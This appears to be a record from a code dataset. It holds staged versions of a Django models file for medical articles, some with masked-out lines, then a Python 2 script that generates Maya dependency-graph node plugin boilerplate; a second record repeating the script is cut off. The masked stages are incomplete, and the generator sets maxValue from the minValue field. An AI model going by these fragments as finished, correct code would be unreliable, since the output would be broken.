'linked_article'),\n\n\nclass MedicineSpecialization(TimeStampedModel):\n medicine = models.ForeignKey(Article, on_delete=models.CASCADE)\n specialization = models.ForeignKey(PracticeSpecialization, on_delete=\n models.CASCADE, null=True, blank=True)\n\n def __str__(self):\n return self.medicine.title + ' ' + self.specialization.name\n\n\n class Meta:\n db_table = 'medicine_specialization'\n",
"step-3": "<mask token>\n\n\nclass Article(TimeStampedModel, CreatedByModel):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def get_absolute_url(self):\n content_type = ContentType.objects.get_for_model(self)\n return reverse('admin:%s_%s_change' % (content_type.app_label,\n content_type.model), args=[self.id])\n\n def icon_tag(self):\n if self.icon:\n return mark_safe('<img src=\"%s\" width=\"150\" height=\"150\" />' %\n self.icon.url)\n return ''\n\n def save(self, *args, **kwargs):\n self.published_date = (self.published_date if self.published_date else\n datetime.date.today())\n if hasattr(self, 'url'):\n self.url = self.url.strip('/').lower()\n super().save(*args, **kwargs)\n\n def __str__(self):\n return self.title\n\n\n class Meta:\n db_table = 'article'\n\n\nclass ArticleImage(TimeStampedModel, CreatedByModel):\n name = models.ImageField(upload_to='article/images')\n\n def image_tag(self):\n if self.name:\n return mark_safe('<img src=\"%s\" width=\"150\" height=\"150\" />' %\n self.name.url)\n return ''\n\n def __str__(self):\n if self.name:\n return self.name.url\n return ''\n\n\n class Meta:\n db_table = 'article_image'\n\n\nclass ArticleContentBox(TimeStampedModel):\n name = models.CharField(max_length=1000)\n title = models.CharField(max_length=1000)\n rank = models.PositiveSmallIntegerField(default=0, blank=True)\n\n def __str__(self):\n return self.name\n\n\n class Meta:\n db_table = 'article_content_box'\n\n\nclass ArticleLinkedUrl(TimeStampedModel):\n article = models.ForeignKey(Article, on_delete=models.CASCADE)\n url = models.CharField(max_length=2000, unique=True)\n title = models.CharField(max_length=500)\n content_box = models.ForeignKey(ArticleContentBox, null=True, on_delete\n =models.SET_NULL)\n\n def __str__(self):\n return self.title\n\n\n class Meta:\n db_table = 'article_linked_urls'\n\n\nclass LinkedArticle(TimeStampedModel):\n article = models.ForeignKey(Article, on_delete=models.CASCADE,\n related_name='related_articles')\n linked_article = models.ForeignKey(Article, on_delete=models.CASCADE,\n related_name='related_article')\n title = models.CharField(max_length=500, null=True, blank=False)\n content_box = models.ForeignKey(ArticleContentBox, null=True, on_delete\n =models.SET_NULL)\n\n def __str__(self):\n return '{}-{}'.format(self.article.title, self.linked_article.title)\n\n\n class Meta:\n db_table = 'linked_articles'\n unique_together = ('article', 'linked_article'),\n\n\nclass MedicineSpecialization(TimeStampedModel):\n medicine = models.ForeignKey(Article, on_delete=models.CASCADE)\n specialization = models.ForeignKey(PracticeSpecialization, on_delete=\n models.CASCADE, null=True, blank=True)\n\n def __str__(self):\n return self.medicine.title + ' ' + self.specialization.name\n\n\n class Meta:\n db_table = 'medicine_specialization'\n",
"step-4": "<mask token>\n\n\nclass Article(TimeStampedModel, CreatedByModel):\n title = models.CharField(blank=False, null=False, max_length=500,\n unique=True)\n url = models.CharField(blank=False, null=True, max_length=500, unique=True)\n heading_title = models.CharField(blank=True, null=False, max_length=500)\n body = models.CharField(blank=False, null=False, max_length=200000)\n category = models.ForeignKey(ArticleCategory, null=True, related_name=\n 'articles', on_delete=models.SET_NULL)\n header_image = models.ImageField(upload_to='articles/header/images',\n null=True, blank=True, default='')\n header_image_alt = models.CharField(max_length=512, blank=True, null=\n True, default='')\n icon = models.ImageField(upload_to='articles/icons', null=True, blank=\n True, default='')\n is_published = models.BooleanField(default=False, verbose_name='Published')\n description = models.CharField(max_length=500, blank=True, null=True)\n keywords = models.CharField(max_length=256, blank=True, null=True)\n author_name = models.CharField(max_length=256, null=True, blank=True)\n author = models.ForeignKey(Doctor, null=True, blank=True, related_name=\n 'published_articles', on_delete=models.SET_NULL)\n published_date = models.DateField(default=datetime.date.today)\n linked_articles = models.ManyToManyField('self', symmetrical=False,\n through='LinkedArticle', through_fields=('article', 'linked_article'))\n pharmeasy_url = models.TextField(blank=True, null=True)\n pharmeasy_product_id = models.PositiveIntegerField(null=True, blank=True)\n is_widget_available = models.NullBooleanField()\n\n def get_absolute_url(self):\n content_type = ContentType.objects.get_for_model(self)\n return reverse('admin:%s_%s_change' % (content_type.app_label,\n content_type.model), args=[self.id])\n\n def icon_tag(self):\n if self.icon:\n return mark_safe('<img src=\"%s\" width=\"150\" height=\"150\" />' %\n self.icon.url)\n return ''\n\n def save(self, *args, **kwargs):\n self.published_date = (self.published_date if self.published_date else\n datetime.date.today())\n if hasattr(self, 'url'):\n self.url = self.url.strip('/').lower()\n super().save(*args, **kwargs)\n\n def __str__(self):\n return self.title\n\n\n class Meta:\n db_table = 'article'\n\n\nclass ArticleImage(TimeStampedModel, CreatedByModel):\n name = models.ImageField(upload_to='article/images')\n\n def image_tag(self):\n if self.name:\n return mark_safe('<img src=\"%s\" width=\"150\" height=\"150\" />' %\n self.name.url)\n return ''\n\n def __str__(self):\n if self.name:\n return self.name.url\n return ''\n\n\n class Meta:\n db_table = 'article_image'\n\n\nclass ArticleContentBox(TimeStampedModel):\n name = models.CharField(max_length=1000)\n title = models.CharField(max_length=1000)\n rank = models.PositiveSmallIntegerField(default=0, blank=True)\n\n def __str__(self):\n return self.name\n\n\n class Meta:\n db_table = 'article_content_box'\n\n\nclass ArticleLinkedUrl(TimeStampedModel):\n article = models.ForeignKey(Article, on_delete=models.CASCADE)\n url = models.CharField(max_length=2000, unique=True)\n title = models.CharField(max_length=500)\n content_box = models.ForeignKey(ArticleContentBox, null=True, on_delete\n =models.SET_NULL)\n\n def __str__(self):\n return self.title\n\n\n class Meta:\n db_table = 'article_linked_urls'\n\n\nclass LinkedArticle(TimeStampedModel):\n article = models.ForeignKey(Article, on_delete=models.CASCADE,\n related_name='related_articles')\n linked_article = models.ForeignKey(Article, on_delete=models.CASCADE,\n related_name='related_article')\n title = models.CharField(max_length=500, null=True, blank=False)\n content_box = models.ForeignKey(ArticleContentBox, null=True, on_delete\n =models.SET_NULL)\n\n def __str__(self):\n return '{}-{}'.format(self.article.title, self.linked_article.title)\n\n\n class Meta:\n db_table = 'linked_articles'\n unique_together = ('article', 'linked_article'),\n\n\nclass MedicineSpecialization(TimeStampedModel):\n medicine = models.ForeignKey(Article, on_delete=models.CASCADE)\n specialization = models.ForeignKey(PracticeSpecialization, on_delete=\n models.CASCADE, null=True, blank=True)\n\n def __str__(self):\n return self.medicine.title + ' ' + self.specialization.name\n\n\n class Meta:\n db_table = 'medicine_specialization'\n",
"step-5": "from django.db import models\nfrom django.utils.safestring import mark_safe\nfrom ondoc.authentication.models import TimeStampedModel, CreatedByModel, Image\nimport datetime\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.urls import reverse\n\nfrom ondoc.doctor.models import Doctor, PracticeSpecialization\n\n\nclass ArticleCategory(TimeStampedModel):\n\n name = models.CharField(blank=False, null=False, max_length=500)\n identifier = models.CharField(max_length=48, blank=False, null=True)\n url = models.CharField(blank=False, null=True, max_length=500, unique=True)\n title = models.CharField(max_length=500, null=True, blank=True)\n description = models.CharField(max_length=200000, null=True, blank=True)\n\n def __str__(self):\n return self.name\n\n class Meta:\n db_table = \"article_categories\"\n\n def save(self, *args, **kwargs):\n if hasattr(self, 'url'):\n self.url = self.url.strip('/').lower()\n super(ArticleCategory, self).save(*args, **kwargs)\n\n\nclass Article(TimeStampedModel, CreatedByModel):\n title = models.CharField(blank=False, null=False, max_length=500, unique=True)\n url = models.CharField(blank=False, null=True, max_length=500, unique=True)\n heading_title = models.CharField(blank=True, null=False, max_length=500)\n body = models.CharField(blank=False, null=False, max_length=200000)\n category = models.ForeignKey(ArticleCategory, null=True, related_name='articles', on_delete=models.SET_NULL)\n header_image = models.ImageField(upload_to='articles/header/images', null=True, blank=True, default='')\n header_image_alt = models.CharField(max_length=512, blank=True, null=True, default='')\n icon = models.ImageField(upload_to='articles/icons', null=True, blank=True, default='')\n is_published = models.BooleanField(default=False, verbose_name='Published')\n description = models.CharField(max_length=500, blank=True, null=True)\n keywords = models.CharField(max_length=256, blank=True, null=True)\n author_name = models.CharField(max_length=256, null=True, blank=True)\n author = models.ForeignKey(Doctor, null=True, blank=True, related_name='published_articles', on_delete=models.SET_NULL)\n published_date = models.DateField(default=datetime.date.today)\n linked_articles = models.ManyToManyField('self', symmetrical=False, through='LinkedArticle',\n through_fields=('article', 'linked_article'))\n pharmeasy_url = models.TextField(blank=True, null=True)\n pharmeasy_product_id = models.PositiveIntegerField(null=True, blank=True)\n is_widget_available = models.NullBooleanField()\n\n def get_absolute_url(self):\n content_type = ContentType.objects.get_for_model(self)\n return reverse('admin:%s_%s_change' % (content_type.app_label, content_type.model), args=[self.id])\n\n def icon_tag(self):\n if self.icon:\n return mark_safe('<img src=\"%s\" width=\"150\" height=\"150\" />' % (self.icon.url))\n return \"\"\n\n def save(self, *args, **kwargs):\n self.published_date = self.published_date if self.published_date else datetime.date.today()\n if hasattr(self, 'url'):\n self.url = self.url.strip('/').lower()\n super().save(*args, **kwargs)\n\n def __str__(self):\n return self.title\n\n class Meta:\n db_table = \"article\"\n\n\nclass ArticleImage(TimeStampedModel, CreatedByModel):\n name = models.ImageField(upload_to='article/images')\n\n def image_tag(self):\n if self.name:\n return mark_safe('<img src=\"%s\" width=\"150\" height=\"150\" />' % (self.name.url))\n return \"\"\n\n def __str__(self):\n if self.name:\n return self.name.url\n return \"\"\n\n class Meta:\n db_table = \"article_image\"\n\nclass ArticleContentBox(TimeStampedModel):\n name = models.CharField(max_length=1000)\n title = models.CharField(max_length=1000)\n rank = models.PositiveSmallIntegerField(default=0, blank=True)\n\n def __str__(self):\n return self.name\n\n class Meta:\n db_table = 'article_content_box'\n\n\nclass ArticleLinkedUrl(TimeStampedModel):\n article = models.ForeignKey(Article, on_delete=models.CASCADE)\n url = models.CharField(max_length=2000, unique=True)\n title = models.CharField(max_length=500)\n content_box = models.ForeignKey(ArticleContentBox,null=True, on_delete=models.SET_NULL)\n\n def __str__(self):\n return self.title\n\n class Meta:\n db_table = 'article_linked_urls'\n\n\nclass LinkedArticle(TimeStampedModel):\n article = models.ForeignKey(Article, on_delete=models.CASCADE, related_name='related_articles')\n linked_article = models.ForeignKey(Article, on_delete=models.CASCADE, related_name='related_article')\n title = models.CharField(max_length=500, null=True, blank=False)\n content_box = models.ForeignKey(ArticleContentBox,null=True, on_delete=models.SET_NULL)\n\n def __str__(self):\n return \"{}-{}\".format(self.article.title, self.linked_article.title)\n\n class Meta:\n db_table = 'linked_articles'\n unique_together = (('article', 'linked_article'),)\n\n\nclass MedicineSpecialization(TimeStampedModel):\n medicine = models.ForeignKey(Article, on_delete=models.CASCADE)\n specialization = models.ForeignKey(PracticeSpecialization, on_delete=models.CASCADE, null=True,\n blank=True)\n\n def __str__(self):\n return self.medicine.title + \" \" + self.specialization.name\n\n class Meta:\n db_table = \"medicine_specialization\"\n\n",
"step-ids": [
9,
18,
21,
22,
28
]
}
|
[
9,
18,
21,
22,
28
] |
## CreateDGNode.py
# This files creates the boilerplate code for a Dependency Graph Node
import FileCreator
## Class to create Maya DG node plugin files
class DGNodeFileCreator(FileCreator.FileCreator):
## Constructor
def __init__(self):
FileCreator.FileCreator.__init__(self, "DGNodePluginData.json")
self.writePluginDetails()
self.writeClass()
self.writeInitialisation()
## Create a separator for the plugin and then write the node details
def writePluginDetails(self):
# Write a separator for the plugin
self.writeLine("#----------------------------------------------------------")
self.writeLine("# Plugin")
self.writeLine("#----------------------------------------------------------")
self.writeLine()
# write the plugin name
self.writeLine("# Node info")
kPluginNodeName = self.getFromJSON("nodeName", "string")
self.writeLine("kPluginNodeName = " + "\"" + kPluginNodeName + "\"")
kPluginNodeID = self.getFromJSON("nodeID", "string")
self.writeLine("kPluginNodeID = om.MTypeId(" + kPluginNodeID + ")")
self.writeLine()
# write the default attribute values if it is not None, i.e. it is defined
self.writeLine("# Default attribute values")
self.inputAttributes = self.getFromJSON("inputAttributes", "array")
for attr in self.inputAttributes:
if (attr["defaultValue"] != None):
variableName = attr["longName"] + "DefaultValue"
variableValue = attr["defaultValue"]
self.writeLine(variableName + " = " + str(variableValue))
self.writeLine()
## Write the class definition
def writeClass(self):
cDescription = self.getFromJSON("classDescription", "string")
self.writeLine("## " + cDescription)
cName = self.getFromJSON("className", "string")
self.writeLine("class " + cName + "(om.MPxNode):")
self.writeLine("# Define the attributes", 1)
# Write all the input attributes first with the prefix in
for attr in self.inputAttributes:
variableName = "in" + self.capitalise(attr["longName"])
self.writeLine(variableName + " = om.MObject()", 1)
# Write all the output attributes with the prefix out
self.outputAttributes = self.getFromJSON("outputAttributes", "array")
for attr in self.outputAttributes:
variableName = "out" + self.capitalise(attr["longName"])
self.writeLine(variableName + " = om.MObject()", 1)
self.writeLine()
# write the init function
self.writeLine("def __init__(self):", 1)
self.writeLine("om.MPxNode.__init__(self)", 2)
self.writeLine()
# write the compute function
self.writeComputeFunction()
## Write the compute class function
def writeComputeFunction(self):
# write the comments
self.writeLine("## The function that is called when the node is dirty", 1)
self.writeLine("# @param _plug A plug for one of the i/o attributes", 1)
self.writeLine("# @param _dataBlock The data used for the computations", 1)
self.writeLine("def compute(self, _plug, _dataBlock):", 1)
# loop through each output attribute and create an if statement for each one
className = self.getFromJSON("className", "string")
for attr in self.outputAttributes:
self.writeLine("# Check if the plug is the %s attribute" % attr["longName"], 2)
self.writeLine("if (_plug == " + className + ".out" + self.capitalise(attr["longName"]) + "):", 2)
# Get the handles for the attributes
self.writeLine("# Get handles for the attributes", 3)
# Get the input values
for dependency in attr["dependencies"]:
# Check if the dependency is an input attribute
try:
d = [x["longName"] for x in self.inputAttributes if (x["longName"] == dependency or x["shortName"] == dependency)][0]
self.writeLine(d + "DataHandle = _dataBlock.inputValue(" + className + ".in" + self.capitalise(d) + ")", 3)
except:
print "Warning: ", dependency, "is not an input attribute."
self.writeLine(attr["longName"] + "DataHandle = _dataBlock.outputValue(" + className + ".out" + self.capitalise(attr["longName"]) + ")", 3)
self.writeLine()
# Extract the values
self.writeLine("# Get values for the attributes", 3)
for dependency in attr["dependencies"]:
# Check if the dependency is an input attribute
try:
dName = [x["longName"] for x in self.inputAttributes if (x["longName"] == dependency or x["shortName"] == dependency)][0]
dType = [x["type"] for x in self.inputAttributes if (x["longName"] == dependency or x["shortName"] == dependency)][0]
# Check for multiple values, e.g. 2Float, and put the digit at the end of the string
if dType[0].isdigit():
dType = dType[1:] + dType[0]
self.writeLine(dName + "Value = " + dName + "DataHandle.as" + dType + "()", 3)
except:
pass
self.writeLine()
# Perform the desired computation
self.writeLine("# Perform the desired computation here", 3)
self.writeLine("# " + attr["longName"] + "Value =", 3)
self.writeLine()
# Set the output value
self.writeLine("# Set the output value", 3)
self.writeLine(attr["longName"] + "DataHandle.set" + attr["type"] + "(" + attr["longName"] + "Value)", 3)
self.writeLine()
# Mark the output data handle as clean
self.writeLine("# Mark the output data handle as clean", 3)
self.writeLine(attr["longName"] + "DataHandle.setClean()", 3)
self.writeLine()
## Write the plugin initialisation functions
def writeInitialisation(self):
# Write a separator for the plugin initialisation
self.writeLine("#----------------------------------------------------------")
self.writeLine("# Plugin Initialisation")
self.writeLine("#----------------------------------------------------------")
self.writeLine()
# Function to use API 2.0
self.writeLine("## This function tells Maya to use the Python API 2.0")
self.writeLine("def maya_useNewAPI():")
self.writeLine("pass", 1)
self.writeLine("")
# node creator function
self.writeLine("## Create an instance of the node")
self.writeLine("def nodeCreator():")
className = self.getFromJSON("className", "string")
self.writeLine("return " + className + "()", 1)
self.writeLine()
# write the nodeInitializer function
self.writeNodeInitialiser()
# write the load and unload plugin functions
self.writeInitialiseUninitialiseFunctions()
## Write the nodeInitializer function
def writeNodeInitialiser(self):
self.writeLine("## Initialise the node attributes")
self.writeLine("def nodeInitializer():")
# Decide if a numeric function set or a typed function set is needed or both
numericFn = False
typedFn = False
numericTypes = self.getFromJSON("validNumericTypes", "array")
nonNumericTypes = self.getFromJSON("validNonNumericTypes", "array")
for attr in self.inputAttributes + self.outputAttributes:
if attr["type"] in numericTypes:
numericFn = True
break
if attr["type"] in nonNumericTypes:
typedFn = True
# Check if there is a typed function set needed
if typedFn == False:
for attr in self.inputAttributes + self.outputAttributes:
if attr["type"] in nonNumericTypes:
typedFn = True
break
if (numericFn):
self.writeLine("# Create a numeric attribute function set", 1)
self.writeLine("mFnNumericAttribute = om.MFnNumericAttribute()", 1)
if (typedFn):
self.writeLine("# Create a non-numeric attribute function set", 1)
self.writeLine("mFnTypedAttribute = om.MFnTypedAttribute()", 1)
self.writeLine()
className = self.getFromJSON("className", "string")
# Write the input attributes
self.writeLine("# Input node attributes", 1)
for attr in self.inputAttributes:
# Check if the attribute is numeric or non-numeric (typed)
if attr["type"] in numericTypes:
attrType = ["Numeric", "Numeric"]
else:
attrType = ["Typed", ""]
variableName = className + ".in" + self.capitalise(attr["longName"])
fnParameters = "\"" + attr["longName"] + "\", \"" + attr["shortName"] + "\", om.MFn" + attrType[1] + "Data.k" + attr["type"]
if attr["defaultValue"] != None:
fnParameters += ", " + attr["longName"] + "DefaultValue"
self.writeLine(variableName + " = mFn" + attrType[0] + "Attribute.create(" + fnParameters + ")", 1)
self.writeLine("mFn" + attrType[0] + "Attribute.readable = False", 1)
self.writeLine("mFn" + attrType[0] + "Attribute.writable = True", 1)
self.writeLine("mFn" + attrType[0] + "Attribute.storable = True", 1)
if attr["keyable"]:
self.writeLine("mFn" + attrType[0] + "Attribute.keyable = True", 1)
else:
self.writeLine("mFn" + attrType[0] + "Attribute.keyable = False", 1)
if attr["minValue"] != None:
self.writeLine("mFn" + attrType[0] + "Attribute.minValue = " + str(attr["minValue"]), 1)
if attr["maxValue"] != None:
self.writeLine("mFn" + attrType[0] + "Attribute.maxValue = " + str(attr["minValue"]), 1)
self.writeLine()
# Write the output node attributes
self.writeLine("# Output node attributes", 1)
for attr in self.outputAttributes:
# Check if the attribute is numeric or non-numeric (typed)
if attr["type"] in numericTypes:
attrType = ["Numeric", "Numeric"]
else:
attrType = ["Typed", ""]
variableName = className + ".out" + self.capitalise(attr["longName"])
fnParameters = "\"" + attr["longName"] + "\", \"" + attr["shortName"] + "\", om.MFn" + attrType[1] + "Data.k" + attr["type"]
self.writeLine(variableName + " = mFn" + attrType[0] + "Attribute.create(" + fnParameters + ")", 1)
self.writeLine("mFn" + attrType[0] + "Attribute.readable = True", 1)
self.writeLine("mFn" + attrType[0] + "Attribute.writable = False", 1)
self.writeLine("mFn" + attrType[0] + "Attribute.storable = False", 1)
self.writeLine()
# Add the attributes to the class
self.writeLine("# Add the attributes to the class", 1)
for attr in self.inputAttributes:
self.writeLine(className + ".addAttribute(" + className + ".in" + self.capitalise(attr["longName"]) + ")", 1)
for attr in self.outputAttributes:
self.writeLine(className + ".addAttribute(" + className + ".out" + self.capitalise(attr["longName"]) + ")", 1)
self.writeLine()
# Write the dependencies
self.writeLine("# Connect input/output dependencies", 1)
for attr in self.outputAttributes:
for dependency in attr["dependencies"]:
# Check if the dependency is an input attribute
try:
d = [x["longName"] for x in self.inputAttributes if (x["longName"] == dependency or x["shortName"] == dependency)][0]
self.writeLine(className + ".attributeAffects(" + className + ".in" + self.capitalise(d) + ", " + className + ".out" + self.capitalise(attr["longName"]) + ")", 1)
except:
pass
self.writeLine()
## Write the functions for initializePlugin and uninitializePlugin
def writeInitialiseUninitialiseFunctions(self):
# Write the function for initializePlugin
self.writeLine("## Initialise the plugin when Maya loads it")
self.writeLine("def initializePlugin(mobject):")
self.writeLine("mplugin = om.MFnPlugin(mobject)", 1)
self.writeLine("try:", 1)
self.writeLine("mplugin.registerNode(kPluginNodeName, kPluginNodeID, nodeCreator, nodeInitializer)", 2)
self.writeLine("except:", 1)
self.writeLine("sys.stderr.write(\"Failed to register node: \" + kPluginNodeName)", 2)
self.writeLine("raise", 2)
self.writeLine()
# Write the function for uninitializePlugin
self.writeLine("## Uninitialise the plugin when Maya unloads it")
self.writeLine("def uninitializePlugin(mobject):")
self.writeLine("mplugin = om.MFnPlugin(mobject)", 1)
self.writeLine("try:", 1)
self.writeLine("mplugin.deregisterNode(kPluginNodeID)", 2)
self.writeLine("except:", 1)
self.writeLine("sys.stderr.write(\"Failed to unregister node: \" + kPluginNodeName)", 2)
self.writeLine("raise", 2)
self.writeLine()
# Main
DGNodeFileCreator()
|
normal
|
{
"blob_id": "8271935901896256b860f4e05038763709758296",
"index": 4722,
"step-1": "## CreateDGNode.py\n# This files creates the boilerplate code for a Dependency Graph Node\n\nimport FileCreator\n\n## Class to create Maya DG node plugin files\nclass DGNodeFileCreator(FileCreator.FileCreator):\n\n\t## Constructor\n\tdef __init__(self):\n\t\tFileCreator.FileCreator.__init__(self, \"DGNodePluginData.json\")\n\t\tself.writePluginDetails()\n\t\tself.writeClass()\n\t\tself.writeInitialisation()\n\n\t## Create a separator for the plugin and then write the node details\n\tdef writePluginDetails(self):\n\t\t# Write a separator for the plugin\n\t\tself.writeLine(\"#----------------------------------------------------------\")\n\t\tself.writeLine(\"# Plugin\")\n\t\tself.writeLine(\"#----------------------------------------------------------\")\n\t\tself.writeLine()\n\t\t# write the plugin name\n\t\tself.writeLine(\"# Node info\")\n\t\tkPluginNodeName = self.getFromJSON(\"nodeName\", \"string\")\n\t\tself.writeLine(\"kPluginNodeName = \" + \"\\\"\" + kPluginNodeName + \"\\\"\")\n\t\tkPluginNodeID = self.getFromJSON(\"nodeID\", \"string\")\n\t\tself.writeLine(\"kPluginNodeID = om.MTypeId(\" + kPluginNodeID + \")\")\n\t\tself.writeLine()\n\t\t# write the default attribute values if it is not None, i.e. it is defined\n\t\tself.writeLine(\"# Default attribute values\")\n\t\tself.inputAttributes = self.getFromJSON(\"inputAttributes\", \"array\")\n\t\tfor attr in self.inputAttributes:\n\t\t\tif (attr[\"defaultValue\"] != None):\n\t\t\t\tvariableName = attr[\"longName\"] + \"DefaultValue\"\n\t\t\t\tvariableValue = attr[\"defaultValue\"]\n\t\t\t\tself.writeLine(variableName + \" = \" + str(variableValue))\n\t\tself.writeLine()\n\n\t## Write the class definition\n\tdef writeClass(self):\n\t\tcDescription = self.getFromJSON(\"classDescription\", \"string\")\n\t\tself.writeLine(\"## \" + cDescription)\n\t\tcName = self.getFromJSON(\"className\", \"string\")\n\t\tself.writeLine(\"class \" + cName + \"(om.MPxNode):\")\n\t\tself.writeLine(\"# Define the attributes\", 1)\n\t\t# Write all the input attributes first with the prefix in\n\t\tfor attr in self.inputAttributes:\n\t\t\tvariableName = \"in\" + self.capitalise(attr[\"longName\"])\n\t\t\tself.writeLine(variableName + \" = om.MObject()\", 1)\n\t\t# Write all the output attributes with the prefix out\n\t\tself.outputAttributes = self.getFromJSON(\"outputAttributes\", \"array\")\n\t\tfor attr in self.outputAttributes:\n\t\t\tvariableName = \"out\" + self.capitalise(attr[\"longName\"])\n\t\t\tself.writeLine(variableName + \" = om.MObject()\", 1)\n\t\tself.writeLine()\n\t\t# write the init function\n\t\tself.writeLine(\"def __init__(self):\", 1)\n\t\tself.writeLine(\"om.MPxNode.__init__(self)\", 2)\n\t\tself.writeLine()\n\t\t# write the compute function\n\t\tself.writeComputeFunction()\n\n\t## Write the compute class function\n\tdef writeComputeFunction(self):\n\t\t# write the comments\n\t\tself.writeLine(\"## The function that is called when the node is dirty\", 1)\n\t\tself.writeLine(\"# @param _plug A plug for one of the i/o attributes\", 1)\n\t\tself.writeLine(\"# @param _dataBlock The data used for the computations\", 1)\n\t\tself.writeLine(\"def compute(self, _plug, _dataBlock):\", 1)\n\t\t# loop through each output attribute and create an if statement for each one\n\t\tclassName = self.getFromJSON(\"className\", \"string\")\n\t\tfor attr in self.outputAttributes:\n\t\t\tself.writeLine(\"# Check if the plug is the %s attribute\" % attr[\"longName\"], 2)\n\t\t\tself.writeLine(\"if (_plug == \" + className + \".out\" + self.capitalise(attr[\"longName\"]) + \"):\", 2)\n\t\t\t# Get the handles for the attributes\n\t\t\tself.writeLine(\"# Get handles for the attributes\", 3)\n\t\t\t# Get the input values\n\t\t\tfor dependency in attr[\"dependencies\"]:\n\t\t\t\t# Check if the dependency is an input attribute\n\t\t\t\ttry:\n\t\t\t\t\td = [x[\"longName\"] for x in self.inputAttributes if (x[\"longName\"] == dependency or x[\"shortName\"] == dependency)][0]\n\t\t\t\t\tself.writeLine(d + \"DataHandle = _dataBlock.inputValue(\" + className + \".in\" + self.capitalise(d) + \")\", 3)\n\t\t\t\texcept:\n\t\t\t\t\tprint \"Warning: \", dependency, \"is not an input attribute.\"\n\t\t\tself.writeLine(attr[\"longName\"] + \"DataHandle = _dataBlock.outputValue(\" + className + \".out\" + self.capitalise(attr[\"longName\"]) + \")\", 3)\n\t\t\tself.writeLine()\n\t\t\t# Extract the values\n\t\t\tself.writeLine(\"# Get values for the attributes\", 3)\n\t\t\tfor dependency in attr[\"dependencies\"]:\n\t\t\t\t# Check if the dependency is an input attribute\n\t\t\t\ttry:\n\t\t\t\t\tdName = [x[\"longName\"] for x in self.inputAttributes if (x[\"longName\"] == dependency or x[\"shortName\"] == dependency)][0]\n\t\t\t\t\tdType = [x[\"type\"] for x in self.inputAttributes if (x[\"longName\"] == dependency or x[\"shortName\"] == dependency)][0]\n\t\t\t\t\t# Check for multiple values, e.g. 2Float, and put the digit at the end of the string\n\t\t\t\t\tif dType[0].isdigit():\n\t\t\t\t\t\tdType = dType[1:] + dType[0]\n\t\t\t\t\tself.writeLine(dName + \"Value = \" + dName + \"DataHandle.as\" + dType + \"()\", 3)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\tself.writeLine()\n\t\t\t# Perform the desired computation\n\t\t\tself.writeLine(\"# Perform the desired computation here\", 3)\n\t\t\tself.writeLine(\"# \" + attr[\"longName\"] + \"Value =\", 3)\n\t\t\tself.writeLine()\n\t\t\t# Set the output value\n\t\t\tself.writeLine(\"# Set the output value\", 3)\n\t\t\tself.writeLine(attr[\"longName\"] + \"DataHandle.set\" + attr[\"type\"] + \"(\" + attr[\"longName\"] + \"Value)\", 3)\n\t\t\tself.writeLine()\n\t\t\t# Mark the output data handle as clean\n\t\t\tself.writeLine(\"# Mark the output data handle as clean\", 3)\n\t\t\tself.writeLine(attr[\"longName\"] + \"DataHandle.setClean()\", 3)\n\t\tself.writeLine()\n\n\t## Write the plugin initialisation functions\n\tdef writeInitialisation(self):\n\t\t# Write a separator for the plugin initialisation\n\t\tself.writeLine(\"#----------------------------------------------------------\")\n\t\tself.writeLine(\"# Plugin Initialisation\")\n\t\tself.writeLine(\"#----------------------------------------------------------\")\n\t\tself.writeLine()\n\t\t# Function to use API 2.0\n\t\tself.writeLine(\"## This function tells Maya to use the Python API 2.0\")\n\t\tself.writeLine(\"def maya_useNewAPI():\")\n\t\tself.writeLine(\"pass\", 1)\n\t\tself.writeLine(\"\")\n\t\t# node creator function\n\t\tself.writeLine(\"## Create an instance of the node\")\n\t\tself.writeLine(\"def nodeCreator():\")\n\t\tclassName = self.getFromJSON(\"className\", \"string\")\n\t\tself.writeLine(\"return \" + className + \"()\", 1)\n\t\tself.writeLine()\n\t\t# write the nodeInitializer function\n\t\tself.writeNodeInitialiser()\n\t\t# write the load and unload plugin functions\n\t\tself.writeInitialiseUninitialiseFunctions()\n\n\t## Write the nodeInitializer function\n\tdef writeNodeInitialiser(self):\n\t\tself.writeLine(\"## Initialise the node attributes\")\n\t\tself.writeLine(\"def nodeInitializer():\")\n\t\t# Decide if a numeric function set or a typed function set is needed or both\n\t\tnumericFn = False\n\t\ttypedFn = False\n\t\tnumericTypes = self.getFromJSON(\"validNumericTypes\", \"array\")\n\t\tnonNumericTypes = self.getFromJSON(\"validNonNumericTypes\", \"array\")\n\t\tfor attr in self.inputAttributes + self.outputAttributes:\n\t\t\tif attr[\"type\"] in numericTypes:\n\t\t\t\tnumericFn = True\n\t\t\t\tbreak\n\t\t\tif attr[\"type\"] in nonNumericTypes:\n\t\t\t\ttypedFn = True\n\t\t# Check if there is a typed function set needed\n\t\tif typedFn == False:\n\t\t\tfor attr in self.inputAttributes + self.outputAttributes:\n\t\t\t\tif attr[\"type\"] in nonNumericTypes:\n\t\t\t\t\ttypedFn = True\n\t\t\t\t\tbreak\n\t\tif (numericFn):\n\t\t\tself.writeLine(\"# Create a numeric attribute function set\", 1)\n\t\t\tself.writeLine(\"mFnNumericAttribute = om.MFnNumericAttribute()\", 1)\n\t\tif (typedFn):\n\t\t\tself.writeLine(\"# Create a non-numeric attribute function set\", 1)\n\t\t\tself.writeLine(\"mFnTypedAttribute = om.MFnTypedAttribute()\", 1)\n\t\tself.writeLine()\n\t\tclassName = self.getFromJSON(\"className\", \"string\")\n\t\t# Write the input attributes\n\t\tself.writeLine(\"# Input node attributes\", 1)\n\t\tfor attr in self.inputAttributes:\n\t\t\t# Check if the attribute is numeric or non-numeric (typed)\n\t\t\tif attr[\"type\"] in numericTypes:\n\t\t\t\tattrType = [\"Numeric\", \"Numeric\"]\n\t\t\telse:\n\t\t\t\tattrType = [\"Typed\", \"\"]\n\t\t\tvariableName = className + \".in\" + self.capitalise(attr[\"longName\"])\n\t\t\tfnParameters = \"\\\"\" + attr[\"longName\"] + \"\\\", \\\"\" + attr[\"shortName\"] + \"\\\", om.MFn\" + attrType[1] + \"Data.k\" + attr[\"type\"]\n\t\t\tif attr[\"defaultValue\"] != None:\n\t\t\t\tfnParameters += \", \" + attr[\"longName\"] + \"DefaultValue\"\n\t\t\tself.writeLine(variableName + \" = mFn\" + attrType[0] + \"Attribute.create(\" + fnParameters + \")\", 